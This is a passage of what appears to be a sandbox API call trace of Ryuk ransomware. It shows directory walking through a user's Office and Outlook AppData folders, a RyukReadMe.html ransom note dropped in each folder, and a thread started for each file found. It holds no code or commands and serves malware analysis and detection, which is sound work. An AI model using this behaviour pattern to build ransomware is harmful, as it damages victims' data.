	[0261.938] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 0
	[0261.938] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0261.938] SetLastError (dwErrCode=0x0) 
	[0261.938] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.938] GetLastError () returned 0x3
	[0261.938] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.938] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0
	[0261.938] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0261.938] SetLastError (dwErrCode=0x0) 
	[0261.939] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0261.939] GetLastError () returned 0xb7
	[0261.939] CloseHandle (hObject=0x710) returned 1
	[0261.939] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0261.939] SetLastError (dwErrCode=0x0) 
	[0261.939] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0261.939] GetLastError () returned 0xb7
	[0261.939] CloseHandle (hObject=0x710) returned 1
	[0261.940] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0261.940] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.940] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0261.940] SetLastError (dwErrCode=0x0) 
	[0261.940] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0261.941] GetLastError () returned 0x0
	[0261.941] WriteFile (in: hFile=0x720, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0261.943] CloseHandle (hObject=0x720) returned 1
	[0261.943] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0261.943] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.943] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0261.943] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0261.944] SetLastError (dwErrCode=0x0) 
	[0261.944] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.944] GetLastError () returned 0x3
	[0261.944] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.944] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
	[0261.944] SetLastError (dwErrCode=0x0) 
	[0261.944] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0261.944] GetLastError () returned 0xb7
	[0261.944] CloseHandle (hObject=0x720) returned 1
	[0261.944] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0261.945] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.945] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0261.945] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0261.945] SetLastError (dwErrCode=0x0) 
	[0261.945] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\user\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x734
	[0261.951] GetLastError () returned 0x0
	[0261.951] WriteFile (in: hFile=0x734, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0261.953] CloseHandle (hObject=0x734) returned 1
	[0261.953] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
	[0261.954] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0261.954] SetLastError (dwErrCode=0x0) 
	[0261.954] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0261.954] GetLastError () returned 0xb7
	[0261.954] CloseHandle (hObject=0x710) returned 1
	[0261.954] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
	[0261.954] SetLastError (dwErrCode=0x0) 
	[0261.954] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0261.954] GetLastError () returned 0xb7
	[0261.954] CloseHandle (hObject=0x710) returned 1
	[0261.955] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0261.955] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.955] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig", cAlternateFileName="350DB9~1.SIG")) returned 1
	[0261.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734
	[0261.962] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.962] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 1
	[0261.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740
	[0261.978] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.979] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 0
	[0261.979] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0261.979] SetLastError (dwErrCode=0x0) 
	[0261.979] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750
	[0262.171] GetLastError () returned 0x0
	[0262.171] WriteFile (in: hFile=0x750, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.173] CloseHandle (hObject=0x750) returned 1
	[0262.173] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0
	[0262.173] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0262.173] SetLastError (dwErrCode=0x0) 
	[0262.174] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.174] GetLastError () returned 0xb7
	[0262.174] CloseHandle (hObject=0x6f8) returned 1
	[0262.174] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0262.174] SetLastError (dwErrCode=0x0) 
	[0262.174] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.174] GetLastError () returned 0xb7
	[0262.174] CloseHandle (hObject=0x6f8) returned 1
	[0262.175] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0262.175] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
